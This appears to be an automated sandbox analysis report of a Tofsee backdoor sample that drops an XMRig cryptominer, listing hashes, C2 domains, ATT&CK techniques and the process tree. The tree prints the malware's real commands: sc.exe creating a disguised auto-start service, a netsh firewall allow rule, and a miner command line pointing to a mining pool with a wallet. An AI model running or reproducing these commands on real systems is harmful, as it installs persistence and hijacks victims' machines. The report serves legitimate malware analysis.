Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2023 01:56

General

  • Target

    664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba.exe

  • Size

    321KB

  • MD5

    bc7c2a8a4a55d3d8091b57b050721465

  • SHA1

    585d80c0eca34a12f2ac79e6e6d1c97c1bf6ab62

  • SHA256

    664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba

  • SHA512

    b2dbd260ce0577db7e15f19f44373910678f885745eb54a288788b384a799d0d72dd533f1d7c28da846b12170600dd6cff943b541e9bd8b5c119103c5cf97eb5

  • SSDEEP

    3072:4QZggfPJhkK5MZo43bw+2WMWYNRb/a+dK6TZHVuNCLPEqDYCYy5/9Q4kp7t:4APIXoWkWMWYNU+RTzHPEqDYDj

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba.exe
    "C:\Users\Admin\AppData\Local\Temp\664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zsaehrlw\
      2⤵
        PID:1228
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fumtywbt.exe" C:\Windows\SysWOW64\zsaehrlw\
        2⤵
          PID:872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zsaehrlw binPath= "C:\Windows\SysWOW64\zsaehrlw\fumtywbt.exe /d\"C:\Users\Admin\AppData\Local\Temp\664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zsaehrlw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zsaehrlw
          2⤵
          • Launches sc.exe
          PID:1784
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:972
      • C:\Windows\SysWOW64\zsaehrlw\fumtywbt.exe
        C:\Windows\SysWOW64\zsaehrlw\fumtywbt.exe /d"C:\Users\Admin\AppData\Local\Temp\664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:284
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:296

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\fumtywbt.exe
        Filesize

        11.1MB

        MD5

        8aac7453b55a8aeaef946548db164719

        SHA1

        ff21d33fe103ae2323669256ab9fdb30444e925c

        SHA256

        7791a2876d28d24a614994ded492044679bf3a3d7647b90644fbbc4dce441825

        SHA512

        db65261074098403b4482a4476da808c6033780241569a7ea59c690a24913729015865e904bbcd0a8e03358f59dbc5b91c07a3b05fcba41c6f25375d6df103dd

      • C:\Windows\SysWOW64\zsaehrlw\fumtywbt.exe
        Filesize

        11.1MB

        MD5

        8aac7453b55a8aeaef946548db164719

        SHA1

        ff21d33fe103ae2323669256ab9fdb30444e925c

        SHA256

        7791a2876d28d24a614994ded492044679bf3a3d7647b90644fbbc4dce441825

        SHA512

        db65261074098403b4482a4476da808c6033780241569a7ea59c690a24913729015865e904bbcd0a8e03358f59dbc5b91c07a3b05fcba41c6f25375d6df103dd

      • memory/284-66-0x0000000000400000-0x00000000006CE000-memory.dmp
        Filesize

        2.8MB

      • memory/296-120-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-123-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-122-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-121-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-119-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-118-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-111-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/296-110-0x0000000000180000-0x0000000000271000-memory.dmp
        Filesize

        964KB

      • memory/824-59-0x0000000000400000-0x00000000006CE000-memory.dmp
        Filesize

        2.8MB

      • memory/824-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/992-88-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-96-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-81-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-82-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-83-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-84-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-85-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-86-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-87-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-74-0x0000000001950000-0x0000000001B5F000-memory.dmp
        Filesize

        2.1MB

      • memory/992-89-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-90-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-91-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-92-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-93-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-94-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-95-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-78-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-97-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/992-98-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/992-101-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/992-102-0x00000000054C0000-0x00000000058CB000-memory.dmp
        Filesize

        4.0MB

      • memory/992-105-0x00000000054C0000-0x00000000058CB000-memory.dmp
        Filesize

        4.0MB

      • memory/992-106-0x0000000000240000-0x0000000000247000-memory.dmp
        Filesize

        28KB

      • memory/992-75-0x0000000000080000-0x0000000000086000-memory.dmp
        Filesize

        24KB

      • memory/992-71-0x0000000001950000-0x0000000001B5F000-memory.dmp
        Filesize

        2.1MB

      • memory/992-69-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/992-68-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/992-67-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/992-61-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/992-63-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/992-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/992-124-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB